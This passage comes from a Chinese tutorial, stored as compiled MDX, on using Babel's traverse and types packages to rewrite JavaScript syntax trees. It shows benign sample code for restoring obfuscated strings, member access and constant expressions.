\u4e2d\u5bf9\u5e94\u7684\u5904\u7406\u65b9\u6cd5\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u4e2d\u7684\u65b9\u6cd5\u4f1a\u63a5\u6536\u4e00\u4e2a\u5f53\u524d\u8282\u70b9\u7684 ",(0,t.jsx)(e.code,{children:"path"})," \u5bf9\u8c61\uff0c\u8be5\u5bf9\u8c61\u7684\u7c7b\u578b\u662f ",(0,t.jsx)(e.code,{children:"NodePath"}),"\uff0c\u8be5\u5bf9\u8c61\u6709\u975e\u5e38\u591a\u7684\u5c5e\u6027\uff0c\u4ee5\u4e0b\u4ecb\u7ecd\u51e0\u79cd\u6700\u5e38\u7528\u7684\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u5c5e\u6027"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"toString()"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u6e90\u7801"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"node"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u8282\u70b9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"parent"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7236\u7ea7\u8282\u70b9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"parentPath"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7236\u7ea7\u8def\u5f84"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"type"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7c7b\u578b"})]})]})]}),"\n",(0,t.jsxs)(e.p,{children:["PS\uff1a",(0,t.jsx)(e.code,{children:"path"})," \u5bf9\u8c61\u9664\u4e86\u6709\u5f88\u591a\u5c5e\u6027\u4ee5\u5916\uff0c\u8fd8\u6709\u5f88\u591a\u65b9\u6cd5\uff0c\u6bd4\u5982\u66ff\u6362\u8282\u70b9\u3001\u5220\u9664\u8282\u70b9\u3001\u63d2\u5165\u8282\u70b9\u3001\u5bfb\u627e\u7236\u7ea7\u8282\u70b9\u3001\u83b7\u53d6\u540c\u7ea7\u8282\u70b9\u3001\u6dfb\u52a0\u6ce8\u91ca\u3001\u5224\u65ad\u8282\u70b9\u7c7b\u578b\u7b49\uff0c\u53ef\u5728\u9700\u8981\u65f6\u67e5\u8be2\u76f8\u5173\u6587\u6863\u6216\u67e5\u770b\u6e90\u7801\uff0c\u540e\u7eed\u4ecb\u7ecd ",(0,t.jsx)(e.code,{children:"@babel/types"})," \u90e8\u5206\u5c06\u4f1a\u4e3e\u90e8\u5206\u4f8b\u5b50\u6765\u6f14\u793a\uff0c\u4ee5\u540e\u7684\u5b9e\u6218\u6587\u7ae0\u4e2d\u4e5f\u4f1a\u6709\u76f8\u5173\u5b9e\u4f8b\uff0c\u7bc7\u5e45\u6709\u9650\u672c\u6587\u4e0d\u518d\u7ec6\u8bf4\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u56e0\u6b64\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"path.node.value"})," \u5c31\u62ff\u5230\u4e86\u53d8\u91cf\u7684\u503c\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u5bf9\u5176\u8fdb\u884c\u4fee\u6539\u4e86\u3002\u4ee5\u4e0a\u4ee3\u7801\u8fd0\u884c\u540e\uff0c\u6240\u6709\u6570\u5b57\u90fd\u4f1a\u52a0\u4e0a100\u540e\u518d\u4e58\u4ee52\uff0c\u6240\u6709\u5b57\u7b26\u4e32\u90fd\u4f1a\u88ab\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"I Love JavaScript!"}),"\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = 3200;\n\nconst b = 320;\n\nconst c = "I Love JavaScript!";\n\nconst d = 1774;\n\nconst e = "I Love JavaScript!";\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5982\u679c\u591a\u4e2a\u7c7b\u578b\u7684\u8282\u70b9\uff0c\u5904\u7406\u7684\u65b9\u5f0f\u90fd\u4e00\u6837\uff0c\u90a3\u4e48\u8fd8\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"|"})," \u5c06\u6240\u6709\u8282\u70b9\u8fde\u63a5\u6210\u5b57\u7b26\u4e32\uff0c\u5c06\u540c\u4e00\u4e2a\u65b9\u6cd5\u5e94\u7528\u5230\u6240\u6709\u8282\u70b9\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n "NumericLiteral|StringLiteral"(path) {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"visitor"})," \u5bf9\u8c61\u6709\u591a\u79cd\u5199\u6cd5\uff0c\u4ee5\u4e0b\u51e0\u79cd\u5199\u6cd5\u7684\u6548\u679c\u90fd\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n NumericLiteral(path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral(path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\nconst visitor = {\n\n NumericLiteral: function (path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral: function (path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\nconst visitor = {\n\n NumericLiteral: {\n\n enter(path) {\n\n path.node.value = (path.node.value + 100) * 2\n\n }\n\n },\n\n StringLiteral: {\n\n enter(path) {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n }\n\n}\nconst visitor = {\n\n enter(path) {\n\n if (path.node.type === "NumericLiteral") {\n\n path.node.value = (path.node.value + 100) * 2\n\n }\n\n if (path.node.type === "StringLiteral") {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee5\u4e0a\u51e0\u79cd\u5199\u6cd5\u4e2d\u6709\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"enter"})," \u65b9\u6cd5\uff0c\u5728\u8282\u70b9\u7684\u904d\u5386\u8fc7\u7a0b\u4e2d\uff0c\u8fdb\u5165\u8282\u70b9\uff08enter\uff09\u4e0e\u9000\u51fa\uff08exit\uff09\u8282\u70b9\u90fd\u4f1a\u8bbf\u95ee\u4e00\u6b21\u8282\u70b9\uff0c",(0,t.jsx)(e.code,{children:"traverse"})," \u9ed8\u8ba4\u5728\u8fdb\u5165\u8282\u70b9\u65f6\u8fdb\u884c\u8282\u70b9\u7684\u5904\u7406\uff0c\u5982\u679c\u8981\u5728\u9000\u51fa\u8282\u70b9\u65f6\u5904\u7406\uff0c\u90a3\u4e48\u5728 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4e2d\u5c31\u5fc5\u987b\u58f0\u660e ",(0,t.jsx)(e.code,{children:"exit"})," \u65b9\u6cd5\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"babeltypes",children:"@babel/types"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/types"})," \u4e3b\u8981\u7528\u4e8e\u6784\u5efa\u65b0\u7684 AST \u8282\u70b9\uff0c\u524d\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e3a ",(0,t.jsx)(e.code,{children:"const a = 1;"}),"\uff0c\u5982\u679c\u60f3\u8981\u589e\u52a0\u5185\u5bb9\uff0c\u6bd4\u5982\u53d8\u6210 ",(0,t.jsx)(e.code,{children:"const a = 1; const b = a * 5 + 1;"}),"\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"@babel/types"})," \u6765\u5b9e\u73b0\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u89c2\u5bdf\u4e00\u4e0b AST \u8bed\u6cd5\u6811\uff0c\u539f\u8bed\u53e5\u53ea\u6709\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u73b0\u5728\u589e\u52a0\u4e86\u4e00\u4e2a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647059.png-.png",alt:"10"})}),"\n",(0,t.jsxs)(e.p,{children:["\u90a3\u4e48\u6211\u4eec\u7684\u601d\u8def\u5c31\u662f\u5728\u904d\u5386\u8282\u70b9\u65f6\uff0c\u904d\u5386\u5230 ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u5c31\u5728\u5176\u540e\u9762\u589e\u52a0\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u751f\u6210 ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.variableDeclaration()"})," \u65b9\u6cd5\uff0c\u5728 types \u4e2d\u5404\u79cd\u65b9\u6cd5\u540d\u79f0\u548c\u6211\u4eec\u5728 AST \u4e2d\u770b\u5230\u7684\u662f\u4e00\u6837\u7684\uff0c\u53ea\u4e0d\u8fc7\u9996\u5b57\u6bcd\u662f\u5c0f\u5199\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u9700\u8981\u77e5\u9053\u6240\u6709\u65b9\u6cd5\u7684\u60c5\u51b5\u4e0b\uff0c\u4e5f\u80fd\u5927\u81f4\u63a8\u65ad\u5176\u65b9\u6cd5\u540d\uff0c\u53ea\u77e5\u9053\u8fd9\u4e2a\u65b9\u6cd5\u8fd8\u4e0d\u884c\uff0c\u8fd8\u5f97\u77e5\u9053\u4f20\u5165\u7684\u53c2\u6570\u662f\u4ec0\u4e48\uff0c\u53ef\u4ee5\u67e5\u6587\u6863\uff0c\u4e0d\u8fc7K\u54e5\u8fd9\u91cc\u63a8\u8350\u76f4\u63a5\u770b\u6e90\u7801\uff0c\u975e\u5e38\u6e05\u6670\u660e\u4e86\uff0c\u4ee5 Pycharm \u4e3a\u4f8b\uff0c\u6309\u4f4f Ctrl \u952e\uff0c\u518d\u70b9\u51fb\u65b9\u6cd5\u540d\uff0c\u5c31\u8fdb\u5230\u6e90\u7801\u91cc\u4e86\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101421832-1311123747.png",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647060.png-.png",alt:"11"})})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function variableDeclaration(kind: "var" | "let" | "const", declarations: Array)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u9700\u8981 ",(0,t.jsx)(e.code,{children:"kind"})," \u548c ",(0,t.jsx)(e.code,{children:"declarations"})," \u4e24\u4e2a\u53c2\u6570\uff0c\u5176\u4e2d ",(0,t.jsx)(e.code,{children:"declarations"})," \u662f ",(0,t.jsx)(e.code,{children:"VariableDeclarator"})," \u7c7b\u578b\u7684\u8282\u70b9\u7ec4\u6210\u7684\u5217\u8868\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5148\u5199\u51fa\u4ee5\u4e0b ",(0,t.jsx)(e.code,{children:"visitor"})," \u90e8\u5206\u7684\u4ee3\u7801\uff0c\u5176\u4e2d ",(0,t.jsx)(e.code,{children:"path.insertAfter()"})," \u662f\u5728\u8be5\u8282\u70b9\u4e4b\u540e\u63d2\u5165\u65b0\u8282\u70b9\u7684\u610f\u601d\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u8fd8\u9700\u8981\u8fdb\u4e00\u6b65\u5b9a\u4e49 ",(0,t.jsx)(e.code,{children:"declarator"}),"\uff0c\u4e5f\u5c31\u662f ",(0,t.jsx)(e.code,{children:"VariableDeclarator"})," \u7c7b\u578b\u7684\u8282\u70b9\uff0c\u67e5\u8be2\u5176\u6e90\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"function variableDeclarator(id: BabelNodeLVal, init?: BabelNodeExpression)\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u89c2\u5bdf AST\uff0cid \u4e3a ",(0,t.jsx)(e.code,{children:"Identifier"})," \u5bf9\u8c61\uff0cinit \u4e3a ",(0,t.jsx)(e.code,{children:"BinaryExpression"})," \u5bf9\u8c61\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647061.png-.png",alt:"12"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5148\u6765\u5904\u7406 id\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.identifier()"})," \u65b9\u6cd5\u6765\u751f\u6210\uff0c\u5176\u6e90\u7801\u4e3a ",(0,t.jsx)(e.code,{children:"function identifier(name: string)"}),"\uff0cname \u5728\u8fd9\u91cc\u5c31\u662f b \u4e86\uff0c\u6b64\u65f6 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5c31\u53ef\u4ee5\u8fd9\u4e48\u5199\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7136\u540e\u518d\u6765\u770b init \u8be5\u5982\u4f55\u5b9a\u4e49\uff0c\u9996\u5148\u4ecd\u7136\u662f\u770b AST \u7ed3\u6784\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647062.png-.png",alt:"13"})}),"\n",(0,t.jsxs)(e.p,{children:["init \u4e3a ",(0,t.jsx)(e.code,{children:"BinaryExpression"})," \u5bf9\u8c61\uff0cleft \u5de6\u8fb9\u662f ",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\uff0cright \u53f3\u8fb9\u662f ",(0,t.jsx)(e.code,{children:"NumericLiteral"}),"\uff0c\u53ef\u4ee5\u7528 ",(0,t.jsx)(e.code,{children:"types.binaryExpression()"})," \u65b9\u6cd5\u6765\u751f\u6210 init\uff0c\u5176\u6e90\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function binaryExpression(\n\n operator: "+" | "-" | "/" | "%" | "*" | "**" | "&" | "|" | ">>" | ">>>" | "<<" | "^" | "==" | "===" | "!=" | "!==" | "in" | "instanceof" | ">" | "<" | ">=" | "<=",\n\n left: BabelNodeExpression | BabelNodePrivateName, \n\n right: BabelNodeExpression\n\n)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6b64\u65f6 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5c31\u53ef\u4ee5\u8fd9\u4e48\u5199\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let init = types.binaryExpression("+", left, right)\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u540e\u7ee7\u7eed\u6784\u9020 left \u548c right\uff0c\u548c\u524d\u9762\u7684\u65b9\u6cd5\u4e00\u6837\uff0c\u89c2\u5bdf AST \u8bed\u6cd5\u6811\uff0c\u67e5\u8be2\u5bf9\u5e94\u65b9\u6cd5\u5e94\u8be5\u4f20\u5165\u7684\u53c2\u6570\uff0c\u5c42\u5c42\u5d4c\u5957\uff0c\u76f4\u5230\u628a\u6240\u6709\u7684\u8282\u70b9\u90fd\u6784\u9020\u5b8c\u6bd5\uff0c\u6700\u7ec8\u7684 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let left = types.binaryExpression("*", types.identifier("a"), types.numericLiteral(5))\n\n let right = types.numericLiteral(1)\n\n let init = types.binaryExpression("+", left, right)\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n path.stop()\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a",(0,t.jsx)(e.code,{children:"path.insertAfter()"})," \u63d2\u5165\u8282\u70b9\u8bed\u53e5\u540e\u9762\u52a0\u4e86\u4e00\u53e5 ",(0,t.jsx)(e.code,{children:"path.stop()"}),"\uff0c\u8868\u793a\u63d2\u5165\u5b8c\u6210\u540e\u7acb\u5373\u505c\u6b62\u904d\u5386\u5f53\u524d\u8282\u70b9\u548c\u540e\u7eed\u7684\u5b50\u8282\u70b9\uff0c\u6dfb\u52a0\u7684\u65b0\u8282\u70b9\u4e5f\u662f ",(0,t.jsx)(e.code,{children:"VariableDeclaration"}),"\uff0c\u5982\u679c\u4e0d\u52a0\u505c\u6b62\u8bed\u53e5\u7684\u8bdd\uff0c\u5c31\u4f1a\u65e0\u9650\u5faa\u73af\u63d2\u5165\u4e0b\u53bb\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u63d2\u5165\u65b0\u8282\u70b9\u540e\uff0c\u518d\u8f6c\u6362\u6210 JavaScript \u4ee3\u7801\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u591a\u4e86\u4e00\u884c\u65b0\u4ee3\u7801\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647063.png-.png",alt:"14"})}),"\n",(0,t.jsx)(e.h2,{id:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",children:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u4e86\u89e3\u4e86 AST \u548c babel \u540e\uff0c\u5c31\u53ef\u4ee5\u5bf9 JavaScript \u6df7\u6dc6\u4ee3\u7801\u8fdb\u884c\u8fd8\u539f\u4e86\uff0c\u4ee5\u4e0b\u662f\u90e8\u5206\u6837\u4f8b\uff0c\u5e26\u4f60\u8fdb\u4e00\u6b65\u719f\u6089 babel \u7684\u5404\u79cd\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u8fd8\u539f",children:"\u5b57\u7b26\u4e32\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u6587\u7ae0\u5f00\u5934\u7684\u56fe\u4e2d\u4e3e\u4e86\u4e2a\u4f8b\u5b50\uff0c\u6b63\u5e38\u5b57\u7b26\u88ab\u6362\u6210\u4e86 Unicode \u7f16\u7801\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"console['\\u006c\\u006f\\u0067']('\\u0048\\u0065\\u006c\\u006c\\u006f\\u0020\\u0077\\u006f\\u0072\\u006c\\u0064\\u0021')\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf AST \u7ed3\u6784\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101426636-489998048.png",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647064.png-.png",alt:"15"})})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u53d1\u73b0 Unicode \u7f16\u7801\u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"raw"}),"\uff0c\u800c ",(0,t.jsx)(e.code,{children:"rawValue"})," \u548c ",(0,t.jsx)(e.code,{children:"value"})," \u90fd\u662f\u6b63\u5e38\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5c06 ",(0,t.jsx)(e.code,{children:"raw"})," \u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"rawValue"})," \u6216 ",(0,t.jsx)(e.code,{children:"value"})," \u5373\u53ef\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\u5f15\u53f7\u7684\u95ee\u9898\uff0c\u672c\u6765\u662f ",(0,t.jsx)(e.code,{children:'console["log"]'}),"\uff0c\u4f60\u8fd8\u539f\u540e\u53d8\u6210\u4e86 ",(0,t.jsx)(e.code,{children:"console[log]"}),"\uff0c\u81ea\u7136\u4f1a\u62a5\u9519\u7684\uff0c\u9664\u4e86\u66ff\u6362\u503c\u4ee5\u5916\uff0c\u8fd9\u91cc\u76f4\u63a5\u5220\u9664 extra \u8282\u70b9\uff0c\u6216\u8005\u5220\u9664 raw \u503c\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u6240\u4ee5\u4ee5\u4e0b\u51e0\u79cd\u5199\u6cd5\u90fd\u53ef\u4ee5\u8fd8\u539f\u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const parser = require(\"@babel/parser\");\n\nconst generate = require(\"@babel/generator\").default\n\nconst traverse = require(\"@babel/traverse\").default\n\n\n\nconst code = `console['\\u006c\\u006f\\u0067']('\\u0048\\u0065\\u006c\\u006c\\u006f\\u0020\\u0077\\u006f\\u0072\\u006c\\u0064\\u0021')`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n StringLiteral(path) {\n\n // \u4ee5\u4e0b\u65b9\u6cd5\u5747\u53ef\n\n // path.node.extra.raw = path.node.rawValue\n\n // path.node.extra.raw = '\"' + path.node.value + '\"'\n\n // delete path.node.extra\n\n delete path.node.extra.raw\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd8\u539f\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'console["log"]("Hello world!");\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",children:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u4ee5\u524d\u9762\u7684\u4f8b\u5b50"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-js",children:'console["log"]("Hello world!");\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728JS\u4e2d\uff0c\u5c5e\u6027\u7684\u8bbf\u95ee\u65b9\u5f0f\u6709\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u4ee5",(0,t.jsx)(e.code,{children:"[]"}),"\u7684\u65b9\u5f0f\uff0c\u4e00\u79cd\u662f",(0,t.jsx)(e.code,{children:"."}),"\u7684\u65b9\u5f0f\uff0c\u5728\u4f7f\u7528\u4e2a\u4eba\u5f00\u53d1\u4e2d\uff0c\u666e\u904d\u4f7f\u7528",(0,t.jsx)(e.code,{children:"."}),"\u7684\u65b9\u5f0f\u8fdb\u884c\u8bbf\u95ee\uff0c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647065.png-.png",alt:"image-20250117094913357"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647066.png-.png",alt:"image-20250117095910230"})}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0e",(0,t.jsx)(e.code,{children:"."}),"\u65b9\u5f0f\u4e0d\u540c\uff0c\u53ef\u4ee5\u770b\u5230\u591a\u51fa\u4e86",(0,t.jsx)(e.code,{children:"computed=true"}),"\u548c",(0,t.jsx)(e.code,{children:"property"}),"\u7684\u7c7b\u578b\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4fee\u6539",(0,t.jsx)(e.code,{children:"computed=flase"}),"\u548c\u8fd8\u539f",(0,t.jsx)(e.code,{children:"property"}),"\u7684 \u7c7b\u578b\u5373\u53ef\u5373\u53ef\u8fd8\u539f\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst types = require("@babel/types");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\nconsole[\'log\'](\'hello, world!\');\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n path.node.property = types.identifier("log");\n debugger\n\n }\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u8868\u8fbe\u5f0f\u8fd8\u539f",children:"\u8868\u8fbe\u5f0f\u8fd8\u539f"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"![]"})," \u53ef\u8868\u793a false\uff0c",(0,t.jsx)(e.code,{children:"!![]"})," \u6216\u8005 ",(0,t.jsx)(e.code,{children:"!+[]"})," \u53ef\u8868\u793a true\uff0c\u5728\u4e00\u4e9b\u6df7\u6dc6\u4ee3\u7801\u4e2d\uff0c\u7ecf\u5e38\u6709\u8fd9\u4e9b\u64cd\u4f5c\uff0c\u628a\u7b80\u5355\u7684\u8868\u8fbe\u5f0f\u590d\u6742\u5316\uff0c\u5f80\u5f80\u9700\u8981\u6267\u884c\u4e00\u4e0b\u8bed\u53e5\uff0c\u624d\u80fd\u5f97\u5230\u771f\u6b63\u7684\u7ed3\u679c\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = !![]+!![]+!![];\n\nconst b = Math.floor(12.34 * 2.12)\n\nconst c = 10 >> 3 << 1\n\nconst d = String(21.3 + 14 * 1.32)\n\nconst e = parseInt("1.893" + "45.9088")\n\nconst f = parseFloat("23.2334" + "21.89112")\n\nconst g = 20 < 18 ? \'\u672a\u6210\u5e74\' : \'\u6210\u5e74\'\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u60f3\u8981\u6267\u884c\u8bed\u53e5\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3 ",(0,t.jsx)(e.code,{children:"path.evaluate()"})," \u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u4f1a\u5bf9 path \u5bf9\u8c61\u8fdb\u884c\u6267\u884c\u64cd\u4f5c\uff0c\u81ea\u52a8\u8ba1\u7b97\u51fa\u7ed3\u679c\uff0c\u8fd4\u56de\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5176\u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"confident"})," \u5c5e\u6027\u8868\u793a\u7f6e\u4fe1\u5ea6\uff0c",(0,t.jsx)(e.code,{children:"value"})," \u8868\u793a\u8ba1\u7b97\u7ed3\u679c\uff0c\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.valueToNode()"})," \u65b9\u6cd5\u521b\u5efa\u8282\u70b9\uff0c\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"path.replaceInline()"})," 